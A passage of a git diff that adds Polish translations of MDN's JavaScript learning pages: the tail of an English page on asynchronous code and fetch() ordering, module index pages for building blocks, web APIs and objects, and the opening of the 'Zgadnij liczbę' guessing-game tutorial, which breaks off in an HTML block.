+<p>In a less trivial code example, this kind of setup could cause a problem — you can't include an async code block that returns a result, which you then rely on later in a sync code block. You just can't guarantee that the async function will return before the browser has processed the sync block.</p>
+
+<p>To see this in action, try taking a local copy of <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">our example</a>, and changing the fourth <code>console.log()</code> call to the following:</p>
+
+<pre class="brush: js notranslate">console.log ('All done! ' + image.src + 'displayed.');</pre>
+
+<p>You should now get an error in your console instead of the third message:</p>
+
+<pre class="notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">TypeError: image is undefined; can't access its "src" property</span></span></span></pre>
+
+<p>This is because at the time the browser tries to run the third <code>console.log()</code> statement, the <code>fetch()</code> block has not finished running so the <code>image</code> variable has not been given a value.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: For security reasons, you can't <code>fetch()</code> files from your local filesystem (or run other such operations locally); to run the above example locally you'll have to run the example through a <a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">local webserver</a>.</p>
+</div>
+
+<h2 id="Active_learning_make_it_all_async!">Active learning: make it all async!</h2>
+
+<p>To fix the problematic <code>fetch()</code> example and make the three <code>console.log()</code> statements appear in the desired order, you could make the third <code>console.log()</code> statement run async as well. This can be done by moving it inside another <code>.then()</code> block chained onto the end of the second one, or by simply moving it inside the second <code>then()</code> block. Try fixing this now.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: If you get stuck, you can <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync-fixed.html">find an answer here</a> (see it <a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync-fixed.html">running live</a> also). You can also find a lot more information on promises in our <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a> guide, later on in the module.</p>
+</div>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>In its most basic form, JavaScript is a synchronous, blocking, single-threaded language, in which only one operation can be in progress at a time. But web browsers define functions and APIs that allow us to register functions that should not be executed synchronously, and should instead be invoked asynchronously when some kind of event occurs (the passage of time, the user's interaction with the mouse, or the arrival of data over the network, for example). This means that you can let your code do several things at the same time without stopping or blocking your main thread.</p>
+
+<p>Whether we want to run code synchronously or asynchronously will depend on what we're trying to do.</p>
+
+<p>There are times when we want things to load and happen right away. For example when applying some user-defined styles to a webpage you'll want the styles to be applied as soon as possible.</p>
+
+<p>If we're running an operation that takes time however, like querying a database and using the results to populate templates, it is better to push this off the main thread and complete the task asynchronously. Over time, you'll learn when it makes more sense to choose an asynchronous technique over a synchronous one.</p>
+
+<ul>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></li>
+</ul>
diff --git a/files/pl/learn/javascript/building_blocks/index.html b/files/pl/learn/javascript/building_blocks/index.html
new file mode 100644
index 0000000000..364b91c45e
--- /dev/null
+++ b/files/pl/learn/javascript/building_blocks/index.html
@@ -0,0 +1,44 @@
+---
+title: JavaScript building blocks
+slug: Learn/JavaScript/Building_blocks
+translation_of: Learn/JavaScript/Building_blocks
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">W tym module kontynuujemy omówienie najważniejszych, podstawowych funkcji języka Javascript. Zwrócimy uwagę na często spotykane typy bloków kodu, takie jak: pętle, funkcje oraz zdarzenia. Mogłeś zobaczyć te treści w poprzednim module, jednak tutaj omówimy je bardziej szczegółowo.</p>
+
+<h2 id="Wymagania">Wymagania</h2>
+
+<p>Przed rozpoczęciem tego modułu powinieneś znać podstawy <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML-a</a> oraz <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS-a</a>. Powinieneś również przyswoić treści zawarte w poprzednim module - <a href="/pl/docs/Learn/JavaScript/Pierwsze_kroki">Pierwsze kroki w Javascript</a></p>
+
+<p>Before starting this module, you should have some familiarity with the basics of <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML</a> and <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">CSS</a>, and you should have also worked through our previous module, <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a>.</p>
+
+<div class="note">
+<p><strong>Informacja</strong>: Jeżeli pracujesz na komputerze/tablecie/innym urządzeniu na którym nie masz możliwości tworzenia własnych plików, możesz wypróbować przedstawione przykłady w programach online, takich jak: <a href="http://jsbin.com/">JSBin</a> lub <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Przewodnik">Przewodnik</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Podejmowanie decyzji w kodzie — warunki</a></dt>
+ <dd>W każdym języku programowania kod musi podejmować decyje i odpowiednio reagować w zależności od wyniku operacji. Przykładem jest gra, w której jeżeli liczba graczy jest równa 0, wtedy gra się kończy. Inną aplikacją poglądową może być aplikacja pogodowa - jeżeli będziemy używać aplikacji rano, wtedy zostanie nam pokazany wschód słońca. Podziwiać gwiazdy i księżyć będziemy mogli podczas trwania nocy. W tym artykule odkryjemy jak działają struktury warunkowe w Javascript</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Pętle</a></dt>
+ <dd>Czasami będziesz potrzebować, aby zadanie zostało wykonane więcej niż raz - przykładem może być tutaj wyświetlenie listy nazwisk. W programowaniu pętle wykonują świetną robotę. W tym artykule spojrzymy na nie w kontekście języka Javascript.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Funkcje — wielokrotne wykorzystanie jednego bloku kodu</a></dt>
+ <dd>Inną podstawową koncepcją w kodowaniu jest funkcja. Funkcje umożliwiają przechowywanie fragmentu kodu, który jest odpowiedzialny za jedno zadanie. Do uruchomienia tego bloku kodu jest potrzebna krótka komenda - zamiast wielokrotnego pisania tego samego kodu. W tym artykule zbadamy podstawowe pojęcia dotyczące funkcji, takie jak: składnia, sposób wywołania, definiowanie funkcji, zasięg i parametry.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Zbuduj własną funkcję</a></dt>
+ <dd>W przeciwieństwie do poprzednich, czysto teoretycznych artykułów, ten artykuł przedstawia praktyczne wykorzystanie funkcji. Tutaj otrzymasz zadanie praktyczne, w której napiszesz własną, niestandardową funkcję. W międzyczasie wyjaśnimy też kilka przydatnych szczegółów związanych z funkcjami.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Funkcje zwracają wartości</a></dt>
+ <dd>Jest jeszcze jedna zasadnicza koncepcja, którą przedstawimy Ci w naszym kursie. Powiązana jest z funkcjami - zwracanie wartości. Niektóre funkcje nie zwracają konkretnej wartości po wykonaniu, a inne tak. Ważne jest, abyś zrozumiał jakie mogą być ich wartości, jak możesz je użyć w swoim kodzie oraz jak sprawdzić by Twoje własne funkcje zwróciły pomocne wartości.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Wprowadzenie do zdarzeń</a></dt>
+ <dd>Wydarzenia są akcjami, które występują w aplikacji podczas programowania, a które aplikacja pokaże Ci, abyś mógł na nie zareagować, jeżeli jest taka potrzeba. Przykładem jest tutaj sytuacja, w której użytkownik naciska przycisk na stronie internetowej, a Ty chciałbyś powiązać to wydarzenie z wyświetleniem informacyjnego okna. W tym ostatnim artykule poruszymy kilka ważnych tematów związanych z wydarzeniami i zobaczymy jak działają w przeglądarkach internetowych.</dd>
+</dl>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>Poniższe podsumowanie sprawdzi Twoje rozumienie podstaw języka Javascript z powyższego przewodnika.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Galeria zdjęć</a></dt>
+ <dd>Teraz, gdy przyjrzeliśmy się podstawowym elementom składowym JavaScript, przetestujemy Twoją wiedzę na temat pętli, funkcji, warunków i zdarzeń, budując dość popularny element, który zobaczysz na wielu stronach internetowych - galeria zdjęć z obsługą JavaScript .</dd>
+</dl>
diff --git a/files/pl/learn/javascript/client-side_web_apis/index.html b/files/pl/learn/javascript/client-side_web_apis/index.html
new file mode 100644
index 0000000000..0d8a6ed2cd
--- /dev/null
+++ b/files/pl/learn/javascript/client-side_web_apis/index.html
@@ -0,0 +1,37 @@
+---
+title: Interfejsy API działające po stronie klienta
+slug: Learn/JavaScript/Client-side_web_APIs
+translation_of: Learn/JavaScript/Client-side_web_APIs
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Pisząc skrypty JavaScript po stronie klienta dla stron internetowych lub aplikacji szybko napotkamy Interfejsy Programowania Aplikacji (ang. <strong>Application Programming Interface</strong> - <strong>API</strong>). API to są funkcje programistyczne do manipulowania różnymi aspektami przeglądarki i systemu operacyjnego, na którym działa strona, lub manipulowania danymi z innych stron lub serwisów. W tym module dowiemy się czym są interfejsy API i jak korzystać z najbardziej popularnych interfejsów API, które często można napotkać w swoich pracach rozwojowych. </p>
+
+<h2 id="Wymagania_wstępne">Wymagania wstępne</h2>
+
+<p>By w pełni skorzystać z tego modułu, powinno się przejść przez poprzednie moduły JavaScript z tej serii (<a href="/pl/docs/Learn/JavaScript/Pierwsze_kroki">Pierwsze kroki w JavaScript</a>, <a href="pl/docs/Learn/JavaScript/Building_blocks">Klocki JavaScript</a>, i <a href="pl/docs/Learn/JavaScript/Obiekty">Wprowadzenie do obiektów JavaScript</a>). Moduły te, tak czy inaczej wymagają wielokrotnego użycia prostego API ponieważ trudno jest napisać przykłady JavaScriptu po stronie klienta, które wykonują bez nich coś uzytecznego! Wchodzimy tutaj na wyższy poziom, zkaładając znajomość podstawowego języka JavaScript i zgłębiając często używane interfejsy webowe API trochę bardziej szczegółowo.</p>
+
+<p>Podstawowa wiedza o <a href="/en-US/docs/Learn/HTML">HTML</a> i <a href="/en-US/docs/Learn/CSS">CSS</a> będzie również użyteczna.</p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Jeśli pracujesz na urządzeniu, którym nie masz możliwości tworzenia swoich plików, możesz wypróbować przykłady kodu (większość z nich) w internetowych programach kodujących takich jak <a href="http://jsbin.com/">JSBin</a> lub <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Przewodnik">Przewodnik</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Wprowadzenie do webowych interfejsów API</a></dt>
+ <dd>First up, we'll start by looking at APIs from a high level — what are they, how do they work, how do you use them in your code, and how are they structured? We'll also take a look at what the different main classes of APIs are, and what kind of uses they have.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulowanie dokumentami</a></dt>
+ <dd>When writing web pages and apps, one of the most common things you'll want to do is manipulate web documents in some way. This is usually done by using the Document Object Model (DOM), a set of APIs for controlling HTML and styling information that makes heavy use of the {{domxref("Document")}} object. In this article, we'll look at how to use the DOM in detail, along with some other interesting APIs that can alter your environment in interesting ways.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Pobieranie danych z serwera</a></dt>
+ <dd>Another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entirely new page. This seemingly small detail has had a huge impact on the performance and behavior of sites, so in this article, we'll explain the concept, and look at technologies that make it possible, such as {{domxref("XMLHttpRequest")}} and the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">Interfejsy API innych twórców</a></dt>
+ <dd>The APIs we've covered so far are built into the browser, but not all APIs are. Many large websites and services such as Google Maps, Twitter, Facebook, PayPal, etc. provide APIs allowing developers to make use of their data (e.g. displaying your twitter stream on your blog) or services (e.g. displaying custom Google Maps on your site, or using Facebook login to log in your users). This article looks at the difference between browser APIs and 3rd party APIs and shows some typical uses of the latter.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Rysowanie grafiki</a></dt>
+ <dd>The browser contains some very powerful graphics programming tools, from the Scalable Vector Graphics (<a href="/en-US/docs/Web/SVG">SVG</a>) language, to APIs for drawing on HTML {{htmlelement("canvas")}} elements, (see <a href="/en-US/docs/Web/API/Canvas_API">The Canvas API</a> and <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a>). Ths article provides an introduction to the Canvas API, and further resources to allow you to learn more.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">Interfejsy API wideo i audio</a></dt>
+ <dd>HTML5 comes with elements for embedding rich media in documents — {{htmlelement("video")}} and {{htmlelement("audio")}} — which in turn come with their own APIs for controlling playback, seeking, etc. This article shows you how to do common tasks such as creating custom playback controls.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Client-side storage</a></dt>
+ <dd>Modern web browsers feature a number of different technologies that allow you to store data related to web sites and retrieve it when necessary allowing you to persist data long term, save sites offline, and more. This article explains the very basics of how these work.</dd>
+</dl>
diff --git a/files/pl/learn/javascript/index.html b/files/pl/learn/javascript/index.html
new file mode 100644
index 0000000000..9109a05447
--- /dev/null
+++ b/files/pl/learn/javascript/index.html
@@ -0,0 +1,78 @@
+---
+title: JavaScript
+slug: Learn/JavaScript
+tags:
+ - Dla początkujących
+ - JavaScript
+ - Kodowanie
+ - Początkujący
+translation_of: Learn/JavaScript
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">{{Glossary("JavaScript")}} <span lang="pl">To język programowania, który pozwala na zaimplementowanie skomplikowanych rzeczy na stronach internetowych. Za każdym razem, gdy strona internetowa robi coś więcej ponad wyświetlanie statycznych informacji, na które możesz popatrzeć - np. wyświetlanie bieżących aktualizacji treści, interaktywnych map, animowanych obrazów, Grafiki 2D/3D lub przewijanie wideo itp. - można założyć, że prawdopodobnie jest w to zaangażowany JavaScript.</span></p>
+
+<h2 id="Ścieżka_nauki">Ścieżka nauki</h2>
+
+<p><span lang="pl">JavaScript jest trudniejszy do nauczenia się niż powiązane technologie, takie jak</span> <a href="/pl/docs/Learn/HTML">HTML</a> oraz <a href="/pl/docs/Learn/CSS">CSS</a>. <span lang="pl">Zanim spróbujesz nauczyć się JavaScript, zalecamy zapoznanie się z przynajmniej tymi dwoma technologiami, a być może innymi. Zacznij od pracy poprzez następujące moduły:</span></p>
+
+<ul>
+ <li><a href="/pl/docs/Learn/Getting_started_with_the_web">Początek w Sieci</a></li>
+ <li><a href="/pl/docs/Web/Guide/HTML/Introduction">Wprowadzenie do HTML</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Wprowadzenie do CSS</a></li>
+</ul>
+
+<p><span lang="pl">Posiadanie wcześniejszego doświadczenia z innymi językami programowania może również pomóc. </span></p>
+
+<p><span lang="pl">Po zapoznaniu się z podstawami JavaScript powinieneś móc uczyć się o bardziej zaawansowanych kwestiach, takich jak:</span></p>
+
+<ul>
+ <li><span lang="pl">Pogłębianie wiedzy o JavaScript, jak uczy</span> <a href="/pl/docs/Web/JavaScript/Guide">poradnik JavaScript</a></li>
+ <li><a href="/en-US/docs/Web/API">API Stron Internetowych</a></li>
+</ul>
+
+<h2 id="Moduły">Moduły</h2>
+
+<p><span lang="pl">Ten temat zawiera następujące moduły, w sugerowanej kolejności ich pracy.</span></p>
+
+<dl>
+ <dt><a href="/pl/docs/Learn/JavaScript/First_steps">Pierwsze kroki z JavaScript</a></dt>
+ <dd><span lang="pl">W naszym pierwszym module JavaScript najpierw udzielamy odpowiedzi na podstawowe pytania, na przykład "co to jest JavaScript?", "Jak to wygląda?" i "co można zrobić" przed przejściem do pierwszego doświadczenia Pisania JavaScript. Następnie omówimy szczegółowo kluczowe funkcje języka JavaScript, takie jak zmienne, łańcuchy, liczby i tablice.</span></dd>
+ <dt><a href="/pl/docs/Learn/JavaScript/Building_blocks">Bloki budowy JavaScript</a></dt>
+ <dd><span lang="pl">W tym module kontynuujemy omówienie najważniejszych podstawowych funkcji języka JavaScript, zwracając uwagę na często spotykane rodzaje bloków kodu, takie jak stwierdzenia warunkowe, pętle, funkcje i zdarzenia. Widziałeś to już wcześniej, ale tylko cząstkowo - tutaj omówimy to wszystko jednoznacznie.</span></dd>
+ <dt><a href="/pl/docs/Learn/JavaScript/Objects">Wprowadzenie do obiektów JavaScript</a></dt>
+ <dd><span lang="pl">W JavaScript większość rzeczy to obiekty, od podstawowych funkcji JavaScript, takich jak ciągi znaków i tablice do interfejsów API przeglądarki na szczycie JavaScript. Można nawet tworzyć własne obiekty, aby zawęzić funkcje i zmienne do wydajnych pakietów. W JavaScript jest ważne, aby zrozumieć, czy chcesz poszerzyć swoją znajomość języka i napisać bardziej wydajny kod, dlatego udostępniliśmy ten moduł, aby Ci pomóc. Tutaj ukazujemy szczegółowo teorię obiektu i składnię, spójrzmy na sposób tworzenia własnych obiektów i wyjaśnijmy, jakie dane JSON są i jak z nimi pracować.</span></dd>
+</dl>
+
+<dl>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous">Asynchroniczny JavaScript</a></dt>
+ <dd>
+ <p>W tym module przyjrzymy się asynchronicznemu skryptowi JavaScript, dowiemy się dlaczego jest on ważny i jak można go wykorzystać do skutecznego radzenia sobie z potencjalnymi operacjami blokującymi, takimi jak pobieranie zasobów z serwera.</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/docs/Learn/JavaScript/Client-side_web_APIs">Interfejsy sieciowe stroną klienta</a></dt>
+ <dd><span lang="pl">Podczas pisania JavaScript po stronie klienta w witrynach internetowych lub w aplikacjach nie zajdzie się daleko jeszcze przed rozpoczęciem korzystania z interfejsów API - interfejsów do manipulowania różnymi aspektami przeglądarki i systemu operacyjnego, na którym działa witryna, a nawet danych z innych stron internetowych lub usług. W tym module zbadamy, jakie interfejsy API są i jak posługiwać się najpopularniejszymi interfejsami API często spotykanymi w pracach rozwojowych.</span></dd>
+</dl>
+
+<h2 id="Rozwiązywanie_typowych_problemów_z_JavaScript"><span lang="pl">Rozwiązywanie typowych problemów z JavaScript</span></h2>
+
+<p><a href="/en-US/docs/Learn/JavaScript/Howto">Użyj Javascript do rozwiązywania typowych problemów</a> <span lang="pl">zawiera linki do sekcji z treściami wyjaśniającymi sposób korzystania z JavaScript w celu rozwiązania bardzo typowych problemów podczas tworzenia strony internetowej.</span></p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<dl>
+ <dt><a href="/pl/docs/Web/JavaScript">JavaScript na MDN</a></dt>
+ <dd><span lang="pl">Główny punkt wejścia do podstawowej dokumentacji JavaScript na MDN - tutaj znajdziesz obszerne dokumenty referencyjne dotyczące wszystkich aspektów języka JavaScript oraz niektóre zaawansowane ćwiczenia skierowane do doświadczonych programistów.</span></dd>
+</dl>
+
+<dl>
+ <dt><a href="https://exlskills.com/learn-en/courses/javascript-fundamentals-basics_javascript">Podstawy JavaScript w EXLskills</a></dt>
+ <dd>Ucz się JavaScript za darmo dzieki kursowi open-source EXLskills course, który zawiera wszystko, czego potrzebujesz, aby zacząć budować aplikacje w JS.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://www.youtube.com/user/codingmath">Matematyka kodowania</a></dt>
+ <dd><span lang="pl">Doskonała seria instruktażowych materiałów wideo, do nauki matematyki, którą musisz zrozumieć by być efektywnym programistą,</span> zrobiona przez: <a href="https://twitter.com/bit101">Keith Peters</a>.</dd>
+</dl>
diff --git a/files/pl/learn/javascript/obiekty/index.html b/files/pl/learn/javascript/obiekty/index.html
new file mode 100644
index 0000000000..9952e760a3
--- /dev/null
+++ b/files/pl/learn/javascript/obiekty/index.html
@@ -0,0 +1,47 @@
+---
+title: Wprowadzenie do obiektów JavaScript
+slug: Learn/JavaScript/Obiekty
+tags:
+ - JavaScript
+ - Objekt
+ - Początkujący
+ - samouczek
+translation_of: Learn/JavaScript/Objects
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">W JavaScript większość rzeczy jest obiektami, począwszy od najbardziej fundamentalnych rzeczy jak stringi czy tablice, na API przeglądarek zbudowanym na szczycie JavaScriptu kończąc. Możesz nawet stworzyć własne obiekty do hermetyzowania powiązanych funkcji i zmiennych w "pakietach", które będą działały jako podręczne kontenery. Obiektowość w JavaScripcie jest kluczowa do dalszego zrozumienia języka, dlatego też przygotowaliśmy ten moduł, aby ci pomóc.  Na początku nauczymy cię teorii obiektowości i składni, później popatrzymy na to, jak tworzyć własne obiekty.</p>
+
+<h2 id="Wymagania">Wymagania</h2>
+
+<p>Zanim rozpoczniesz ten moduł powinieneś być nieco zaznajomiony z HTML i CSS. Radzimy przejść przez moduły <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Introduction">Wprowadzenie do HTML</a> i <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS">Wprowadzenie do CSS</a> zanim rozpoczniesz naukę JavaScriptu.</p>
+
+<p>Powinieneś również być nieco zaznajomiony z podstawami JavaScript zanim zaczniesz zgłębiać szczegóły dotyczące obiektów w tym języku. Zanim rozpoczniesz ten moduł zapoznaj się z <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript pierwsze kroki</a> i <a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript budowanie bloków</a>.</p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Jeśli pracujesz na komputerze/tablecie/innym urządzeniu gdzie nie masz możliwości tworzenia swoich własnych plików, powinieneś wypróbować (większość) przykładów kodu w aplikacji webowej takiej jak <a href="http://jsbin.com/">JSBin</a> lub <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Przewodniki">Przewodniki</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Object basics</a></dt>
+ <dd>W pierwszym artykule dotyczącym obiektów JavaScript przyjrzymy się podstawom składni dla obiektów i powrócimy do tematów, które przerabialiśmy wcześniej. Powtórzymy niektóre fakty, które wskazują, że wiele właściwości, którymi się już zajmowałeś, to faktycznie obiekty.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a></dt>
+ <dd>Po zapoznaniu się z podstawami skupimy się teraz na obiektowym JavaScript (OOJS) - ten artykuł przedstawia podstawowe spojrzenie na teorię programowania obiektowego (OOP), następnie bada, w jaki sposób JavaScript emuluje klasy obiektów za pomocą funkcji konstruktora, oraz jak tworzone są instancje obiektów.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a></dt>
+ <dd>Prototypy są mechanizmem, za pomocą którego obiekty JavaScript dziedziczą cechy od siebie i działają inaczej niż mechanizmy dziedziczenia w klasycznych obiektowych językach programowania. W tym artykule badamy tę różnicę, wyjaśniamy, jak działają łańcuchy prototypów, i przyglądamy się, w jaki sposób można użyć właściwości prototypu do dodania metod do istniejących konstruktorów</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Dziedziczenie w JavaScript</a></dt>
+ <dd>Po wyjaśnieniu większości pikantnych szczegółów OOJS, artykuł pokazuje, jak tworzyć "potomne" klasy obiektów (konstruktory), które dziedziczą cechy z ich klas "nadrzędnych". Ponadto przedstawiamy poradę dotyczącą tego, kiedy i gdzie możesz korzystać z OOJS</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Praca z JSON</a></dt>
+ <dd>JavaScript Object Notation (JSON) to standardowy format tekstowy służący do reprezentowania danych strukturalnych, oparty na składni obiektów JavaScript, ktory jest powszechnie używany do reprezentowania i przesyłania danych w witrynach internetowych (t.j. wysyłanie niektórych danych z serwera do klienta, dzięki czemu mogą one być wyświetlane na stronie internetowej). Spotkasz to dość często, więc w tym artykule podajemy wszystko, czego potrzebujesz, aby pracować z JSON przy użyciu JavaScript, w tym analizować JSON w celu uzyskania dostępu do zawartych w nim danych oraz pisanie własnego JSON.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Praktyka budowania obiektów</a></dt>
+ <dd>W poprzednich artykułach zapoznaliśmy się ze wszystkimi niezbędnymi teoriami obiektów JavaScript i szczegółami składni, co daje Ci solidną podstawę do rozpoczęcia. W tym artykule zagłębiamy się w praktyczne ćwiczenie, dając Ci trochę więcej praktyki w budowaniu niestandardowych obiektów JavaScript, które tworzą coś ciekawego i kolorowego - jakieś kolorowe podskakujące kuleczki.</dd>
+</dl>
+
+<h2 id="Oceny">Oceny</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Dodajemy nowe funkcje do naszego demo z odbijającymi się piłkami</a></dt>
+ <dd>W tej części, jako punkt wyjścia, należy użyć demo odbijających się piłek z poprzedniego artykułu i dodać do niego kilka nowych i interesujących funkcji.</dd>
+</dl>
diff --git a/files/pl/learn/javascript/pierwsze_kroki/a_first_splash/index.html b/files/pl/learn/javascript/pierwsze_kroki/a_first_splash/index.html
new file mode 100644
index 0000000000..0d0f49c69a
--- /dev/null
+++ b/files/pl/learn/javascript/pierwsze_kroki/a_first_splash/index.html
@@ -0,0 +1,687 @@
+---
+title: A first splash into JavaScript
+slug: Learn/JavaScript/Pierwsze_kroki/A_first_splash
+translation_of: Learn/JavaScript/First_steps/A_first_splash
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">Zaznajomiłeś się już nieco z teorią JavaScript i masz już pewne pojęcie co do zastosowania tego języka. Teraz zamierzamy udzielić Ci przyspieszonego kursu z podstawowych funkcji JavaScript'u poprzez ten, w pełni praktyczny, samouczek. Krok po kroku napiszesz tu prostą grę pod tytułem: "Zgadnij liczbę".</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Wymagania wstępne:</th>
+ <td>Podstawowa umiejętność posługiwania się komputerem, podstawowa znajomość HTML i CSS, podstawowa znajomość czym jest JavaScript.</td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>Pierwsze doświadczenia w pisaniu kodu w JavaScript i zrozumienie- przynajmniej w podstawowym stopniu- z czym związane jest pisanie programu w JavaScript.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Nie oczekujemy od Ciebie całkowitego zrozumienia kodu od zaraz - chcemy raczej przedstawić Ci nieco ogólniejsze spojrzenie i dać Ci odczuć sposób, w jaki działa JavaScript (jak również i inne języki programowania). W późniejszych artykułach wrócimy do użytych tu funkcjonalności w bardziej szczegółowy spsób.</p>
+
+<div class="note">
+<p>Wiele funkcjonalności, które zobaczysz w JavaScript, jest takich samych, jak w innych językach programowania (funkcje, pętle itd.) Składnia języka wygląda inaczej, ale zasada działania jest przeważnie ta sama.</p>
+</div>
+
+<h2 id="Myśleć_jak_programista">Myśleć jak programista</h2>
+
+<p>Składnia danego języka nie jest - wbrew pozorom - najtrudniejszym aspektem, z jakim trzeba zmierzyć się podczas nauki programowania. Sprawą znacznie poważniejszą jest bowiem nauczyć się stosować posiadaną wiedzę do rozwiązywania problemów ze świata realnego. Musisz zacząć myśleć jak programista. Wiąże się to z patrzeniem na opisy oczekiwanego efektu działania programu, przemyśleniem, jakich konstrukcji kodu w tym celu użyć i zaplanowaniem, jak połączyć je wszystkie w efektywnie współpracującą całość.</p>
+
+<p>Wymaga to połączenia ciężkiej pracy, doświadczenia ze składnią języków i praktyki - wraz z odrobiną kreatywności. Im więcej napiszesz kodu, tym lepszy w tym się staniesz. Nie możemy obiecać, że wypracujesz  w sobie "mózg programisty" w pięć minut, ale damy Ci wiele możliwości praktykowania myślenia jak programista w czasie trwania tego kursu.</p>
+
+<p>Pamiętając o tym, przyjrzyjmy się ogólnie procesowi pisania kodu dzieląc go na poszczególne konkretne zadania. Posłuży nam w tym celu poniższy przykładowy program.</p>
+
+<h2 id="Przykład_Gra_Zgadnij_liczbę">Przykład: Gra "Zgadnij liczbę"</h2>
+
+<p>Oto przykład prostej gry:</p>
+
+<div class="hidden">
+<h6 id="Top_hidden_code">Top hidden code</h6>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
